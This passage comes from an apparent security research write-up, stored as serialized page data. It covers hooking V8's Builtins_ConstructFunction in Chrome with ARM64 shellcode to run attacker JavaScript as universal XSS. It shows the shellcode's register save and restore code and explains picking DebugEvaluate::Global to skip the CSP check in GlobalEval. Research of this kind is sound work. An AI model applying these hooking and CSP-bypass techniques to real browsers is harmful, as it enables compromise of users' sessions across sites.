.\n",{"type":23,"tag":314,"props":139299,"children":139300},{"class":316,"line":1216},[139301],{"type":23,"tag":314,"props":139302,"children":139303},{"emptyLinePlaceholder":18},[139304],{"type":28,"value":1088},{"type":23,"tag":314,"props":139306,"children":139307},{"class":316,"line":1301},[139308],{"type":23,"tag":314,"props":139309,"children":139310},{},[139311],{"type":28,"value":139312},"// load the uxss_sc pointer saved just above new instructions\n",{"type":23,"tag":314,"props":139314,"children":139315},{"class":316,"line":1343},[139316],{"type":23,"tag":314,"props":139317,"children":139318},{},[139319],{"type":28,"value":139320},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":23,"tag":314,"props":139322,"children":139323},{"class":316,"line":1351},[139324],{"type":23,"tag":314,"props":139325,"children":139326},{"emptyLinePlaceholder":18},[139327],{"type":28,"value":1088},{"type":23,"tag":314,"props":139329,"children":139330},{"class":316,"line":1387},[139331],{"type":23,"tag":314,"props":139332,"children":139333},{},[139334],{"type":28,"value":139335},"// jump to uxss_sc\n",{"type":23,"tag":314,"props":139337,"children":139338},{"class":316,"line":1422},[139339],{"type":23,"tag":314,"props":139340,"children":139341},{},[139342],{"type":28,"value":139343},"blr x15\n",{"type":23,"tag":24,"props":139345,"children":139346},{},[139347,139352,139354,139359],{"type":23,"tag":94,"props":139348,"children":139350},{"className":139349},[],[139351],{"type":28,"value":139234},{"type":28,"value":139353}," is the mmap-ed shellcode invoked by the patched ",{"type":23,"tag":94,"props":139355,"children":139357},{"className":139356},[],[139358],{"type":28,"value":138718},{"type":28,"value":139360}," to execute our XSS payload. Its prologue looks like this:",{"type":23,"tag":304,"props":139362,"children":139364},{"code":139363,"language":138771,"meta":7,"className":138772,"style":7},"bti c\n\n// Save full register context\nstp x0, x1, [sp, #-16]!\nstp x2, x3, [sp, #-16]!\nstp x4, x5, [sp, #-16]!\nstp x6, x7, [sp, #-16]!\nstp x8, x9, [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[139365],{"type":23,"tag":94,"props":139366,"children":139367},{"__ignoreMap":7},[139368,139375,139382,139390,139398,139406,139414,139422,139430,139438,139446,139454,139462,139470,139478,139486,139494,139502,139510],{"type":23,"tag":314,"props":139369,"children":139370},{"class":316,"line":317},[139371],{"type":23,"tag":314,"props":139372,"children":139373},{},[139374],{"type":28,"value":139251},{"type":23,"tag":314,"props":139376,"children":139377},{"class":316,"line":370},[139378],{"type":23,"tag":314,"props":139379,"children":139380},{"emptyLinePlaceholder":18},[139381],{"type":28,"value":1088},{"type":23,"tag":314,"props":139383,"children":139384},{"class":316,"line":380},[139385],{"type":23,"tag":314,"props":139386,"children":139387},{},[139388],{"type":28,"value":139389},"// Save full register context\n",{"type":23,"tag":314,"props":139391,"children":139392},{"class":316,"line":1091},[139393],{"type":23,"tag":314,"props":139394,"children":139395},{},[139396],{"type":28,"value":139397},"stp x0, x1, [sp, #-16]!\n",{"type":23,"tag":314,"props":139399,"children":139400},{"class":316,"line":1141},[139401],{"type":23,"tag":314,"props":139402,"children":139403},{},[139404],{"type":28,"value":139405},"stp x2, x3, [sp, #-16]!\n",{"type":23,"tag":314,"props":139407,"children":139408},{"class":316,"line":1173},[139409],{"type":23,"tag":314,"props":139410,"children":139411},{},[139412],{"type":28,"value":139413},"stp x4, x5, [sp, #-16]!\n",{"type":23,"tag":314,"props":139415,"children":139416},{"class":316,"line":1208},[139417],{"type":23,"tag":314,"props":139418,"children":139419},{},[139420],{"type":28,"value":139421},"stp x6, x7, [sp, #-16]!\n",{"type":23,"tag":314,"props":139423,"children":139424},{"class":316,"line":1216},[139425],{"type":23,"tag":314,"props":139426,"children":139427},{},[139428],{"type":28,"value":139429},"stp x8, x9, [sp, #-16]!\n",{"type":23,"tag":314,"props":139431,"children":139432},{"class":316,"line":1301},[139433],{"type":23,"tag":314,"props":139434,"children":139435},{},[139436],{"type":28,"value":139437},"stp x10, x11, [sp, #-16]!\n",{"type":23,"tag":314,"props":139439,"children":139440},{"class":316,"line":1343},[139441],{"type":23,"tag":314,"props":139442,"children":139443},{},[139444],{"type":28,"value":139445},"stp x12, x13, [sp, #-16]!\n",{"type":23,"tag":314,"props":139447,"children":139448},{"class":316,"line":1351},[139449],{"type":23,"tag":314,"props":139450,"children":139451},{},[139452],{"type":28,"value":139453},"stp x14, x15, [sp, #-16]!\n",{"type":23,"tag":314,"props":139455,"children":139456},{"class":316,"line":1387},[139457],{"type":23,"tag":314,"props":139458,"children":139459},{},[139460],{"type":28,"value":139461},"stp x16, x17, [sp, #-16]!\n",{"type":23,"tag":314,"props":139463,"children":139464},{"class":316,"line":1422},[139465],{"type":23,"tag":314,"props":139466,"children":139467},{},[139468],{"type":28,"value":139469},"stp x18, x19, [sp, #-16]!\n",{"type":23,"tag":314,"props":139471,"children":139472},{"class":316,"line":1430},[139473],{"type":23,"tag":314,"props":139474,"children":139475},{},[139476],{"type":28,"value":139477},"stp x20, x21, [sp, #-16]!\n",{"type":23,"tag":314,"props":139479,"children":139480},{"class":316,"line":1452},[139481],{"type":23,"tag":314,"props":139482,"children":139483},{},[139484],{"type":28,"value":139485},"stp x22, x23, [sp, #-16]!\n",{"type":23,"tag":314,"props":139487,"children":139488},{"class":316,"line":1497},[139489],{"type":23,"tag":314,"props":139490,"children":139491},{},[139492],{"type":28,"value":139493},"stp x24, x25, [sp, #-16]!\n",{"type":23,"tag":314,"props":139495,"children":139496},{"class":316,"line":1539},[139497],{"type":23,"tag":314,"props":139498,"children":139499},{},[139500],{"type":28,"value":139501},"stp x26, x27, [sp, #-16]!\n",{"type":23,"tag":314,"props":139503,"children":139504},{"class":316,"line":1548},[139505],{"type":23,"tag":314,"props":139506,"children":139507},{},[139508],{"type":28,"value":139509},"stp x28, x29, [sp, #-16]!\n",{"type":23,"tag":314,"props":139511,"children":139512},{"class":316,"line":1584},[139513],{"type":23,"tag":314,"props":139514,"children":139515},{},[139516],{"type":28,"value":139517},"str lr, [sp, #-16]!\n",{"type":23,"tag":24,"props":139519,"children":139520},{},[139521],{"type":28,"value":139522},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":23,"tag":24,"props":139524,"children":139525},{},[139526,139528,139533],{"type":28,"value":139527},"The epilogue restores all saved registers, restores the original instructions in ",{"type":23,"tag":94,"props":139529,"children":139531},{"className":139530},[],[139532],{"type":28,"value":138718},{"type":28,"value":139534},", and then returns execution to its beginning:",{"type":23,"tag":304,"props":139536,"children":139538},{"code":139537,"language":138771,"meta":7,"className":138772,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8, x9, [sp], #16\nldp x6, x7, [sp], #16\nldp x4, x5, [sp], #16\nldp x2, x3, [sp], #16\nldp x0, x1, [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[139539],{"type":23,"tag":94,"props":139540,"children":139541},{"__ignoreMap":7},[139542,139550,139558,139566,139574,139582,139589,139596,139604,139611,139618,139626,139634,139642,139650,139658,139666,139674,139682,139690,139698,139706,139714,139722,139730,139738,139746,139753,139761,139769,139777,139785,139793,139800,139808,139816,139823],{"type":23,"tag":314,"props":139543,"children":139544},{"class":316,"line":317},[139545],{"type":23,"tag":314,"props":139546,"children":139547},{},[139548],{"type":28,"value":139549},"// restore original instructions of Builtins_ConstructFunction\n",{"type":23,"tag":314,"props":139551,"children":139552},{"class":316,"line":370},[139553],{"type":23,"tag":314,"props":139554,"children":139555},{},[139556],{"type":28,"value":139557},"ldr lr, [sp], #16\n",{"type":23,"tag":314,"props":139559,"children":139560},{"class":316,"line":380},[139561],{"type":23,"tag":314,"props":139562,"children":139563},{},[139564],{"type":28,"value":139565},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":23,"tag":314,"props":139567,"children":139568},{"class":316,"line":1091},[139569],{"type":23,"tag":314,"props":139570,"children":139571},{},[139572],{"type":28,"value":139573},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":23,"tag":314,"props":139575,"children":139576},{"class":316,"line":1141},[139577],{"type":23,"tag":314,"props":139578,"children":139579},{},[139580],{"type":28,"value":139581},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":23,"tag":314,"props":139583,"children":139584},{"class":316,"line":1173},[139585],{"type":23,"tag":314,"props":139586,"children":139587},{"emptyLinePlaceholder":18},[139588],{"type":28,"value":1088},{"type":23,"tag":314,"props":139590,"children":139591},{"class":316,"line":1208},[139592],{"type":23,"tag":314,"props":139593,"children":139594},{},[139595],{"type":28,"value":139124},{"type":23,"tag":314,"props":139597,"children":139598},{"class":316,"line":1216},[139599],{"type":23,"tag":314,"props":139600,"children":139601},{},[139602],{"type":28,"value":139603},"mov x0, lr\n",{"type":23,"tag":314,"props":139605,"children":139606},{"class":316,"line":1301},[139607],{"type":23,"tag":314,"props":139608,"children":139609},{},[139610],{"type":28,"value":139140},{"type":23,"tag":314,"props":139612,"children":139613},{"class":316,"line":1343},[139614],{"type":23,"tag":314,"props":139615,"children":139616},{"emptyLinePlaceholder":18},[139617],{"type":28,"value":1088},{"type":23,"tag":314,"props":139619,"children":139620},{"class":316,"line":1351},[139621],{"type":23,"tag":314,"props":139622,"children":139623},{},[139624],{"type":28,"value":139625},"// restore original registers\n",{"type":23,"tag":314,"props":139627,"children":139628},{"class":316,"line":1387},[139629],{"type":23,"tag":314,"props":139630,"children":139631},{},[139632],{"type":28,"value":139633},"ldp x28, x29, [sp], #16\n",{"type":23,"tag":314,"props":139635,"children":139636},{"class":316,"line":1422},[139637],{"type":23,"tag":314,"props":139638,"children":139639},{},[139640],{"type":28,"value":139641},"ldp x26, x27, [sp], #16\n",{"type":23,"tag":314,"props":139643,"children":139644},{"class":316,"line":1430},[139645],{"type":23,"tag":314,"props":139646,"children":139647},{},[139648],{"type":28,"value":139649},"ldp x24, x25, [sp], #16\n",{"type":23,"tag":314,"props":139651,"children":139652},{"class":316,"line":1452},[139653],{"type":23,"tag":314,"props":139654,"children":139655},{},[139656],{"type":28,"value":139657},"ldp x22, x23, [sp], #16\n",{"type":23,"tag":314,"props":139659,"children":139660},{"class":316,"line":1497},[139661],{"type":23,"tag":314,"props":139662,"children":139663},{},[139664],{"type":28,"value":139665},"ldp x20, x21, [sp], #16\n",{"type":23,"tag":314,"props":139667,"children":139668},{"class":316,"line":1539},[139669],{"type":23,"tag":314,"props":139670,"children":139671},{},[139672],{"type":28,"value":139673},"ldp x18, x19, [sp], #16\n",{"type":23,"tag":314,"props":139675,"children":139676},{"class":316,"line":1548},[139677],{"type":23,"tag":314,"props":139678,"children":139679},{},[139680],{"type":28,"value":139681},"ldp x16, x17, [sp], #16\n",{"type":23,"tag":314,"props":139683,"children":139684},{"class":316,"line":1584},[139685],{"type":23,"tag":314,"props":139686,"children":139687},{},[139688],{"type":28,"value":139689},"ldp x14, x15, [sp], #16\n",{"type":23,"tag":314,"props":139691,"children":139692},{"class":316,"line":1617},[139693],{"type":23,"tag":314,"props":139694,"children":139695},{},[139696],{"type":28,"value":139697},"ldp x12, x13, [sp], #16\n",{"type":23,"tag":314,"props":139699,"children":139700},{"class":316,"line":1625},[139701],{"type":23,"tag":314,"props":139702,"children":139703},{},[139704],{"type":28,"value":139705},"ldp x10, x11, [sp], #16\n",{"type":23,"tag":314,"props":139707,"children":139708},{"class":316,"line":1660},[139709],{"type":23,"tag":314,"props":139710,"children":139711},{},[139712],{"type":28,"value":139713},"ldp x8, x9, [sp], #16\n",{"type":23,"tag":314,"props":139715,"children":139716},{"class":316,"line":1708},[139717],{"type":23,"tag":314,"props":139718,"children":139719},{},[139720],{"type":28,"value":139721},"ldp x6, x7, [sp], #16\n",{"type":23,"tag":314,"props":139723,"children":139724},{"class":316,"line":1743},[139725],{"type":23,"tag":314,"props":139726,"children":139727},{},[139728],{"type":28,"value":139729},"ldp x4, x5, [sp], #16\n",{"type":23,"tag":314,"props":139731,"children":139732},{"class":316,"line":1751},[139733],{"type":23,"tag":314,"props":139734,"children":139735},{},[139736],{"type":28,"value":139737},"ldp x2, x3, [sp], #16\n",{"type":23,"tag":314,"props":139739,"children":139740},{"class":316,"line":1791},[139741],{"type":23,"tag":314,"props":139742,"children":139743},{},[139744],{"type":28,"value":139745},"ldp x0, x1, [sp], #16\n",{"type":23,"tag":314,"props":139747,"children":139748},{"class":316,"line":1805},[139749],{"type":23,"tag":314,"props":139750,"children":139751},{"emptyLinePlaceholder":18},[139752],{"type":28,"value":1088},{"type":23,"tag":314,"props":139754,"children":139755},{"class":316,"line":1818},[139756],{"type":23,"tag":314,"props":139757,"children":139758},{},[139759],{"type":28,"value":139760},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":23,"tag":314,"props":139762,"children":139763},{"class":316,"line":1873},[139764],{"type":23,"tag":314,"props":139765,"children":139766},{},[139767],{"type":28,"value":139768},"// it immediately, so we can clobber and use it as a return register.\n",{"type":23,"tag":314,"props":139770,"children":139771},{"class":316,"line":1891},[139772],{"type":23,"tag":314,"props":139773,"children":139774},{},[139775],{"type":28,"value":139776},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":23,"tag":314,"props":139778,"children":139779},{"class":316,"line":1899},[139780],{"type":23,"tag":314,"props":139781,"children":139782},{},[139783],{"type":28,"value":139784},"// where to return\n",{"type":23,"tag":314,"props":139786,"children":139787},{"class":316,"line":1944},[139788],{"type":23,"tag":314,"props":139789,"children":139790},{},[139791],{"type":28,"value":139792},"mov x4, lr\n",{"type":23,"tag":314,"props":139794,"children":139795},{"class":316,"line":2008},[139796],{"type":23,"tag":314,"props":139797,"children":139798},{"emptyLinePlaceholder":18},[139799],{"type":28,"value":1088},{"type":23,"tag":314,"props":139801,"children":139802},{"class":316,"line":2043},[139803],{"type":23,"tag":314,"props":139804,"children":139805},{},[139806],{"type":28,"value":139807},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":23,"tag":314,"props":139809,"children":139810},{"class":316,"line":22803},[139811],{"type":23,"tag":314,"props":139812,"children":139813},{},[139814],{"type":28,"value":139815},"ldp x15, lr, [sp], #16\n",{"type":23,"tag":314,"props":139817,"children":139818},{"class":316,"line":22845},[139819],{"type":23,"tag":314,"props":139820,"children":139821},{"emptyLinePlaceholder":18},[139822],{"type":28,"value":1088},{"type":23,"tag":314,"props":139824,"children":139825},{"class":316,"line":22878},[139826],{"type":23,"tag":314,"props":139827,"children":139828},{},[139829],{"type":28,"value":139830},"ret x4\n",{"type":23,"tag":24,"props":139832,"children":139833},{},[139834,139836,139841,139843,139848,139850,139856],{"type":28,"value":139835},"At this point, we have successfully hooked ",{"type":23,"tag":94,"props":139837,"children":139839},{"className":139838},[],[139840],{"type":28,"value":138718},{"type":28,"value":139842}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":23,"tag":94,"props":139844,"children":139846},{"className":139845},[],[139847],{"type":28,"value":139234},{"type":28,"value":139849}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":23,"tag":94,"props":139851,"children":139853},{"className":139852},[],[139854],{"type":28,"value":139855},"Builtins_GlobalEval",{"type":28,"value":282},{"type":23,"tag":24,"props":139858,"children":139859},{},[139860,139865,139867,139872,139874,139879],{"type":23,"tag":94,"props":139861,"children":139863},{"className":139862},[],[139864],{"type":28,"value":139855},{"type":28,"value":139866}," takes a single ",{"type":23,"tag":94,"props":139868,"children":139870},{"className":139869},[],[139871],{"type":28,"value":47176},{"type":28,"value":139873}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":23,"tag":94,"props":139875,"children":139877},{"className":139876},[],[139878],{"type":28,"value":36797},{"type":28,"value":3746},{"type":23,"tag":304,"props":139881,"children":139883},{"code":139882,"language":28360,"meta":7,"className":28358,"style":7},"BUILTIN(GlobalEval) {\n [...]\n\n if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n return ReadOnlyRoots(isolate).undefined_value();\n }\n",[139884],{"type":23,"tag":94,"props":139885,"children":139886},{"__ignoreMap":7},[139887,139900,139907,139914,139957,139979,140005],{"type":23,"tag":314,"props":139888,"children":139889},{"class":316,"line":317},[139890,139895],{"type":23,"tag":314,"props":139891,"children":139892},{"style":332},[139893],{"type":28,"value":139894},"BUILTIN",{"type":23,"tag":314,"props":139896,"children":139897},{"style":338},[139898],{"type":28,"value":139899},"(GlobalEval) {\n",{"type":23,"tag":314,"props":139901,"children":139902},{"class":316,"line":370},[139903],{"type":23,"tag":314,"props":139904,"children":139905},{"style":338},[139906],{"type":28,"value":126404},{"type":23,"tag":314,"props":139908,"children":139909},{"class":316,"line":380},[139910],{"type":23,"tag":314,"props":139911,"children":139912},{"emptyLinePlaceholder":18},[139913],{"type":28,"value":1088},{"type":23,"tag":314,"props":139915,"children":139916},{"class":316,"line":1091},[139917,139922,139927,139931,139936,139940,139944,139948,139953],{"type":23,"tag":314,"props":139918,"children":139919},{"style":338},[139920],{"type":28,"value":139921}," if (!Builtins::",{"type":23,"tag":314,"props":139923,"children":139924},{"style":2674},[139925],{"type":28,"value":139926},"AllowDynamicFunction",{"type":23,"tag":314,"props":139928,"children":139929},{"style":338},[139930],{"type":28,"value":341},{"type":23,"tag":314,"props":139932,"children":139933},{"style":2674},[139934],{"type":28,"value":139935},"isolate",{"type":23,"tag":314,"props":139937,"children":139938},{"style":338},[139939],{"type":28,"value":778},{"type":23,"tag":314,"props":139941,"children":139942},{"style":2674},[139943],{"type":28,"value":114330},{"type":23,"tag":314,"props":139945,"children":139946},{"style":338},[139947],{"type":28,"value":778},{"type":23,"tag":314,"props":139949,"children":139950},{"style":2674},[139951],{"type":28,"value":139952},"target_global_proxy",{"type":23,"tag":314,"props":139954,"children":139955},{"style":338},[139956],{"type":28,"value":34443},{"type":23,"tag":314,"props":139958,"children":139959},{"class":316,"line":1141},[139960,139965,139969,139974],{"type":23,"tag":314,"props":139961,"children":139962},{"style":360},[139963],{"type":28,"value":139964}," isolate",{"type":23,"tag":314,"props":139966,"children":139967},{"style":338},[139968],{"type":28,"value":1015},{"type":23,"tag":314,"props":139970,"children":139971},{"style":332},[139972],{"type":28,"value":139973},"CountUsage",{"type":23,"tag":314,"props":139975,"children":139976},{"style":338},[139977],{"type":28,"value":139978},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":23,"tag":314,"props":139980,"children":139981},{"class":316,"line":1173},[139982,139986,139991,139996,140001],{"type":23,"tag":314,"props":139983,"children":139984},{"style":2284},[139985],{"type":28,"value":16228},{"type":23,"tag":314,"props":139987,"children":139988},{"style":332},[139989],{"type":28,"value":139990}," ReadOnlyRoots",{"type":23,"tag":314,"props":139992,"children":139993},{"style":338},[139994],{"type":28,"value":139995},"(isolate).",{"type":23,"tag":314,"props":139997,"children":139998},{"style":332},[139999],{"type":28,"value":140000},"undefined_value",{"type":23,"tag":314,"props":140002,"children":140003},{"style":338},[140004],{"type":28,"value":2926},{"type":23,"tag":314,"props":140006,"children":140007},{"class":316,"line":1208},[140008],{"type":23,"tag":314,"props":140009,"children":140010},{"style":338},[140011],{"type":28,"value":5126},{"type":23,"tag":24,"props":140013,"children":140014},{},[140015,140017,140022],{"type":28,"value":140016},"This means we would need to patch the function further to ensure it never enters this ",{"type":23,"tag":94,"props":140018,"children":140020},{"className":140019},[],[140021],{"type":28,"value":14821},{"type":28,"value":140023}," block.",{"type":23,"tag":24,"props":140025,"children":140026},{},[140027],{"type":28,"value":140028},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":23,"tag":304,"props":140030,"children":140032},{"code":140031,"language":28360,"meta":7,"className":28358,"style":7},"BUILTIN(GlobalEval) {\n\n [...]\n\n DirectHandle\u003CJSFunction> function;\n ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n isolate, function,\n Compiler::GetFunctionFromValidatedString(\n direct_handle(target->native_context(), isolate), source,\n NO_PARSE_RESTRICTION, kNoSourcePosition));\n RETURN_RESULT_OR_FAILURE(\n isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[140033],{"type":23,"tag":94,"props":140034,"children":140035},{"__ignoreMap":7},[140036,140047,140054,140061,140068,140076,140088,140096,140113,140143,140151,140163],{"type":23,"tag":314,"props":140037,"children":140038},{"class":316,"line":317},[140039,140043],{"type":23,"tag":314,"props":140040,"children":140041},{"style":332},[140042],{"type":28,"value":139894},{"type":23,"tag":314,"props":140044,"children":140045},{"style":338},[140046],{"type":28,"value":139899},{"type":23,"tag":314,"props":140048,"children":140049},{"class":316,"line":370},[140050],{"type":23,"tag":314,"props":140051,"children":140052},{"emptyLinePlaceholder":18},[140053],{"type":28,"value":1088},{"type":23,"tag":314,"props":140055,"children":140056},{"class":316,"line":380},[140057],{"type":23,"tag":314,"props":140058,"children":140059},{"style":338},[140060],{"type":28,"value":126404},{"type":23,"tag":314,"props":140062,"children":140063},{"class":316,"line":1091},[140064],{"type":23,"tag":314,"props":140065,"children":140066},{"emptyLinePlaceholder":18},[140067],{"type":28,"value":1088},{"type":23,"tag":314,"props":140069,"children":140070},{"class":316,"line":1141},[140071],{"type":23,"tag":314,"props":140072,"children":140073},{"style":338},[140074],{"type":28,"value":140075}," DirectHandle\u003CJSFunction> function;\n",{"type":23,"tag":314,"props":140077,"children":140078},{"class":316,"line":1173},[140079,140084],{"type":23,"tag":314,"props":140080,"children":140081},{"style":332},[140082],{"type":28,"value":140083}," ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":23,"tag":314,"props":140085,"children":140086},{"style":338},[140087],{"type":28,"value":2719},{"type":23,"tag":314,"props":140089,"children":140090},{"class":316,"line":1208},[140091],{"type":23,"tag":314,"props":140092,"children":140093},{"style":338},[140094],{"type":28,"value":140095}," isolate, function,\n",{"type":23,"tag":314,"props":140097,"children":140098},{"class":316,"line":1216},[140099,140104,140109],{"type":23,"tag":314,"props":140100,"children":140101},{"style":338},[140102],{"type":28,"value":140103}," Compiler::",{"type":23,"tag":314,"props":140105,"children":140106},{"style":332},[140107],{"type":28,"value":140108},"GetFunctionFromValidatedString",{"type":23,"tag":314,"props":140110,"children":140111},{"style":338},[140112],{"type":28,"value":2719},{"type":23,"tag":314,"props":140114,"children":140115},{"class":316,"line":1301},[140116,140121,140125,140129,140133,140138],{"type":23,"tag":314,"props":140117,"children":140118},{"style":332},[140119],{"type":28,"value":140120}," direct_handle",{"type":23,"tag":314,"props":140122,"children":140123},{"style":338},[140124],{"type":28,"value":341},{"type":23,"tag":314,"props":140126,"children":140127},{"style":360},[140128],{"type":28,"value":114330},{"type":23,"tag":314,"props":140130,"children":140131},{"style":338},[140132],{"type":28,"value":1015},{"type":23,"tag":314,"props":140134,"children":140135},{"style":332},[140136],{"type":28,"value":140137},"native_context",{"type":23,"tag":314,"props":140139,"children":140140},{"style":338},[140141],{"type":28,"value":140142},"(), isolate), source,\n",{"type":23,"tag":314,"props":140144,"children":140145},{"class":316,"line":1343},[140146],{"type":23,"tag":314,"props":140147,"children":140148},{"style":338},[140149],{"type":28,"value":140150}," NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":23,"tag":314,"props":140152,"children":140153},{"class":316,"line":1351},[140154,140159],{"type":23,"tag":314,"props":140155,"children":140156},{"style":332},[140157],{"type":28,"value":140158}," RETURN_RESULT_OR_FAILURE",{"type":23,"tag":314,"props":140160,"children":140161},{"style":338},[140162],{"type":28,"value":2719},{"type":23,"tag":314,"props":140164,"children":140165},{"class":316,"line":1387},[140166,140171,140176],{"type":23,"tag":314,"props":140167,"children":140168},{"style":338},[140169],{"type":28,"value":140170}," isolate, Execution::",{"type":23,"tag":314,"props":140172,"children":140173},{"style":332},[140174],{"type":28,"value":140175},"Call",{"type":23,"tag":314,"props":140177,"children":140178},{"style":338},[140179],{"type":28,"value":140180},"(isolate, function, target_global_proxy, {}));\n",{"type":23,"tag":24,"props":140182,"children":140183},{},[140184,140186,140191,140193,140199,140201,140207,140209,140215],{"type":28,"value":140185},"But determining the correct ",{"type":23,"tag":94,"props":140187,"children":140189},{"className":140188},[],[140190],{"type":28,"value":114330},{"type":28,"value":140192}," value, obtaining ",{"type":23,"tag":94,"props":140194,"children":140196},{"className":140195},[],[140197],{"type":28,"value":140198},"target->native_context()",{"type":28,"value":140200},", and locating the ",{"type":23,"tag":94,"props":140202,"children":140204},{"className":140203},[],[140205],{"type":28,"value":140206},"direct_handle",{"type":28,"value":140208}," function, just to make a proper call to ",{"type":23,"tag":94,"props":140210,"children":140212},{"className":140211},[],[140213],{"type":28,"value":140214},"Compiler::GetFunctionFromValidatedString",{"type":28,"value":140216},", seemed unnecessarily cumbersome.",{"type":23,"tag":24,"props":140218,"children":140219},{},[140220,140222,140228],{"type":28,"value":140221},"Instead, we found a much simpler option with no security checks: ",{"type":23,"tag":94,"props":140223,"children":140225},{"className":140224},[],[140226],{"type":28,"value":140227},"DebugEvaluate::Global",{"type":28,"value":140229},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":23,"tag":24,"props":140231,"children":140232},{},[140233],{"type":28,"value":140234},"For our needs, it is straightforward to call:",{"type":23,"tag":304,"props":140236,"children":140238},{"code":140237,"language":28360,"meta":7,"className":28358,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n Handle\u003CString> source,\n debug::EvaluateGlobalMode mode,\n REPLMode repl_mode);\n",[140239],{"type":23,"tag":94,"props":140240,"children":140241},{"__ignoreMap":7},[140242,140290,140319,140340],{"type":23,"tag":314,"props":140243,"children":140244},{"class":316,"line":317},[140245,140250,140254,140258,140263,140268,140272,140277,140281,140286],{"type":23,"tag":314,"props":140246,"children":140247},{"style":2674},[140248],{"type":28,"value":140249},"MaybeDirectHandle",{"type":23,"tag":314,"props":140251,"children":140252},{"style":338},[140253],{"type":28,"value":5060},{"type":23,"tag":314,"props":140255,"children":140256},{"style":2674},[140257],{"type":28,"value":48101},{"type":23,"tag":314,"props":140259,"children":140260},{"style":338},[140261],{"type":28,"value":140262},"> DebugEvaluate::",{"type":23,"tag":314,"props":140264,"children":140265},{"style":332},[140266],{"type":28,"value":140267},"Global",{"type":23,"tag":314,"props":140269,"children":140270},{"style":338},[140271],{"type":28,"value":341},{"type":23,"tag":314,"props":140273,"children":140274},{"style":2674},[140275],{"type":28,"value":140276},"Isolate",{"type":23,"tag":314,"props":140278,"children":140279},{"style":321},[140280],{"type":28,"value":256},{"type":23,"tag":314,"props":140282,"children":140283},{"style":360},[140284],{"type":28,"value":140285}," isolate",{"type":23,"tag":314,"props":140287,"children":140288},{"style":338},[140289],{"type":28,"value":1870},{"type":23,"tag":314,"props":140291,"children":140292},{"class":316,"line":370},[140293,140298,140302,140306,140310,140315],{"type":23,"tag":314,"props":140294,"children":140295},{"style":2674},[140296],{"type":28,"value":140297}," Handle",{"type":23,"tag":314,"props":140299,"children":140300},{"style":338},[140301],{"type":28,"value":5060},{"type":23,"tag":314,"props":140303,"children":140304},{"style":2674},[140305],{"type":28,"value":47176},{"type":23,"tag":314,"props":140307,"children":140308},{"style":338},[140309],{"type":28,"value":5075},{"type":23,"tag":314,"props":140311,"children":140312},{"style":360},[140313],{"type":28,"value":140314},"source",{"type":23,"tag":314,"props":140316,"children":140317},{"style":338},[140318],{"type":28,"value":1870},{"type":23,"tag":314,"props":140320,"children":140321},{"class":316,"line":380},[140322,140327,140332,140336],{"type":23,"tag":314,"props":140323,"children":140324},{"style":338},[140325],{"type":28,"value":140326}," debug::",{"type":23,"tag":314,"props":140328,"children":140329},{"style":2674},[140330],{"type":28,"value":140331},"EvaluateGlobalMode",{"type":23,"tag":314,"props":140333,"children":140334},{"style":360},[140335],{"type":28,"value":105526},{"type":23,"tag":314,"props":140337,"children":140338},{"style":338},[140339],{"type":28,"value":1870},{"type":23,"tag":314,"props":140341,"children":140342},{"class":316,"line":1091},[140343,140348,140353],{"type":23,"tag":314,"props":140344,"children":140345},{"style":2674},[140346],{"type":28,"value":140347}," REPLMode",{"type":23,"tag":314,"props":140349,"children":140350},{"style":360},[140351],{"type":28,"value":140352}," repl_mode",{"type":23,"tag":314,"props":140354,"children":140355},{"style":338},[140356],{"type":28,"value":1025},{"type":23,"tag":24,"props":140358,"children":140359},{},[140360,140362,140367,140369,140374,140376,140381,140383,140389,140390,140396],{"type":28,"value":140361},"We must supply the ",{"type":23,"tag":94,"props":140363,"children":140365},{"className":140364},[],[140366],{"type":28,"value":139935},{"type":28,"value":140368}," pointer, a ",{"type":23,"tag":94,"props":140370,"children":140372},{"className":140371},[],[140373],{"type":28,"value":47176},{"type":28,"value":140375}," 